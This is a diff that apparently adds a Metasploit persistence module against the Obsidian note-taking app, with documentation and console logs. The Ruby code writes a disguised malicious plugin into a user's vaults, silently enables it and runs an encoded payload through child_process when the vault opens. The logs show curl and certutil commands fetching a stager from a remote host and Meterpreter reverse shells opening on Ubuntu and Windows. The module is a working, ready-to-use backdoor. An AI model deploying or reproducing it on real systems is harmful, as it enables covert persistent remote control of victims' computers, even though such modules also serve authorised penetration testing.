diff --git a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md new file mode 100644 index 000000000000..eb59802c5bce --- /dev/null +++ b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md @@ -0,0 +1,124 @@ +## Vulnerable Application + +This module searches for Obsidian vaults for a user, and uploads a malicious +community plugin to the vault. The vaults must be opened with community +plugins enabled (NOT restricted mode), but the plugin will be enabled +automatically. + +Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. + +### Debugging + +To open the console (similar to chrome), use `ctr+shift+i`. + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get a user shell on the target +4. Do: `use multi/local/obsidian_plugin_persistence` +5. Do: Select a shell which will work on your target OS +6. Do: `run` +7. You should get a shell when the target user opens the vault without restricted mode. + +## Options + +### NAME + +Name of the plugin. Defaults to being randomly generated. + +### USER + +The user to target. Defaults the user the shell was obtained under. + +### CONFIG + +Config file location on target. Defaults to empty which will search the default locations. + +## Scenarios + +### Version and OS + +Get a user shell. + +``` +msf6 exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/local/obsidian_plugin_persistence) > set session 1 +session => 1 +msf6 exploit(multi/local/obsidian_plugin_persistence) > set verbose true +verbose => true +msf6 exploit(multi/local/obsidian_plugin_persistence) > exploit + +[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc & +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Using plugin name: xQem +[*] Target User: ubuntu +[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json +[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test +[*] Uploading plugin to vault /home/ubuntu/Documents/test +[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js +[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json +[*] Found 1 enabled community plugins (sX2sv4) +[*] adding xQem to the enabled community plugins list +[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. +[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA +[*] Sending payload to 2.2.2.2 (curl/7.81.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500 + +meterpreter > getuid +Server username: ubuntu +meterpreter > sysinfo +Computer : 2.2.2.2 +OS : Ubuntu 22.04 (Linux 5.15.0-60-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### Obsidian 1.7.7 on Windows 10 + +``` + +msf6 exploit(multi/local/obsidian_plugin_persistence) > rexploit +[*] Reloading module... + +[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Using plugin name: pPq0K +[*] Target User: h00die +[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json +[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault +[*] Uploading plugin to vault C:\Users\h00die\Documents\vault +[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js +[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json +[*] Found 0 enabled community plugins () +[*] adding pPq0K to the enabled community plugins list +[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. +[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA +[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0) +[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA +[*] Sending payload to 3.3.3.3 (CertUtil URL Agent) +[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500 + +meterpreter > getuid +Server username: DESKTOP-3ASD0R4\h00die +meterpreter > sysinfo +Computer : DESKTOP-3ASD0R4 +OS : Windows 10 (10.0 Build 19044). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/modules/exploits/multi/local/obsidian_plugin_persistence.rb b/modules/exploits/multi/local/obsidian_plugin_persistence.rb new file mode 100644 index 000000000000..eeebb69efabc --- /dev/null +++ b/modules/exploits/multi/local/obsidian_plugin_persistence.rb @@ -0,0 +1,256 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix # whoami + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Obsidian Plugin Persistence', + 'Description' => %q{ + This module searches for Obsidian vaults for a user, and uploads a malicious + community plugin to the vault. The vaults must be opened with community + plugins enabled (NOT restricted mode), but the plugin will be enabled + automatically. + + Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # Module + 'Thomas Byrne' # Research, PoC + ], + 'DisclosureDate' => '2022-09-16', + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Privileged' => false, + 'References' => [ + [ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ], + [ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ], + [ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ], + [ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ], + [ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ] + ], + 'Arch' => [ARCH_CMD], + 'Platform' => %w[osx linux windows], + 'DefaultOptions' => { + # 25hrs, you know, just in case the user doesn't open Obsidian for a while + 'WfsDelay' => 90_000, + 'PrependMigrate' => true + }, + 'Payload' => { + 'BadChars' => '"' + }, + 'Stance' => Msf::Exploit::Stance::Passive, + 'Targets' => [ + ['Auto', {} ], + ['Linux', { 'Platform' => 'unix' } ], + ['OSX', { 'Platform' => 'osx' } ], + ['Windows', { 'Platform' => 'windows' } ], + ], + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] + }, + 'DefaultTarget' => 0 + ) + ) + + register_options([ + OptString.new('NAME', [ false, 'Name of the plugin', '' ]), + OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), + OptString.new('CONFIG', [ false, 'Config file location on target', '' ]), + ]) + end + + def plugin_name + return datastore['NAME'] unless datastore['NAME'].blank? + + rand_text_alphanumeric(4..10) + end + + def find_vaults + vaults_found = [] + user = target_user + vprint_status("Target User: #{user}") + case session.platform + when 'windows', 'win' + config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"] + when 'osx' + config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"] + when 'linux' + config_files = [ + "/home/#{user}/.config/obsidian/obsidian.json", + "/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json" + ] # snap package + end + + config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty? + + config_files.each do |config_file| + next unless file?(config_file) + + vprint_status("Found user obsidian file: #{config_file}") + config_contents = read_file(config_file) + return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil? + + begin + vaults = JSON.parse(config_contents) + rescue JSON::ParserError + vprint_error("Failed to parse JSON from #{config_file}") + next + end + + vaults_found = vaults['vaults'] + if vaults_found.nil? + vprint_error("No vaults found in #{config_file}") + next + end + + vaults['vaults'].each do |k, v| + if v['open'] + print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") + else + print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") + end + end + end + + vaults_found + end + + def manifest_js(plugin_name) + JSON.pretty_generate({ + 'id' => plugin_name.gsub(' ', '_'), + 'name' => plugin_name, + 'version' => '1.0.0', + 'minAppVersion' => '0.15.0', + 'description' => '', + 'author' => 'Obsidian', + 'authorUrl' => 'https://obsidian.md', + 'isDesktopOnly' => false + }) + end + + def main_js(_plugin_name) + if ['windows', 'win'].include? session.platform + payload_stub = payload.encoded.to_s + else + payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh" + end + %% +/* +THIS IS A GENERATED/BUNDLED FILE BY ESBUILD +if you want to view the source, please visit the github repository of this plugin +*/ + +var __defProp = Object.defineProperty; +var __getOwnPropDesc = Object.getOwnPropertyDescriptor; +var __getOwnPropNames = Object.getOwnPropertyNames; +var __hasOwnProp = Object.prototype.hasOwnProperty; +var __export = (target, all) => { + for (var name in all) + __defProp(target, name, { get: all[name], enumerable: true }); +}; +var __copyProps = (to, from, except, desc) => { + if (from && typeof from === "object" || typeof from === "function") { + for (let key of __getOwnPropNames(from)) + if (!__hasOwnProp.call(to, key) && key !== except) + __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable }); + } + return to; +}; +var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod); + +// main.ts +var main_exports = {}; +__export(main_exports, { + default: () => ExamplePlugin +}); +module.exports = __toCommonJS(main_exports); +var import_obsidian = require("obsidian"); +var ExamplePlugin = class extends import_obsidian.Plugin { + async onload() { + var command = "#{payload_stub}"; + const { exec } = require("child_process"); + exec(command, (error, stdout, stderr) => { + if (error) { + console.log(`error: ${error.message}`); + return; + } + if (stderr) { + console.log(`stderr: ${stderr}`); + return; + } + console.log(`stdout: ${stdout}`); + }); + } + async onunload() { + } +}; +% + end + + def target_user + return datastore['USER'] unless datastore['USER'].blank? + + return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform + + whoami + end + + def check + return CheckCode::Appears('Vaults found') unless find_vaults.empty? + + CheckCode::Safe('No vaults found') + end + + def exploit + plugin = plugin_name + print_status("Using plugin name: #{plugin}") + vaults = find_vaults + fail_with(Failure::NotFound, 'No vaults found') if vaults.empty? + vaults.each_value do |vault| + print_status("Uploading plugin to vault #{vault['path']}") + # avoid mkdir function because that registers it for delete, and we don't want that for + # persistent modules + if ['windows', 'win'].include? session.platform + cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"") + else + cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'") + end + vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js") + write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin)) + vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json") + write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin)) + + # read in the enabled community plugins, and add ours to the enabled list + if file?("#{vault['path']}/.obsidian/community-plugins.json") + plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json") + begin + plugins = JSON.parse(plugins) + vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})") + path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil) + print_good("Config file saved in: #{path}") + rescue JSON::ParserError + plugins = [] + end + + plugins << plugin unless plugins.include?(plugin) + else + plugins = [plugin] + end + vprint_status("adding #{plugin} to the enabled community plugins list") + write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins)) + print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.') + end + end +end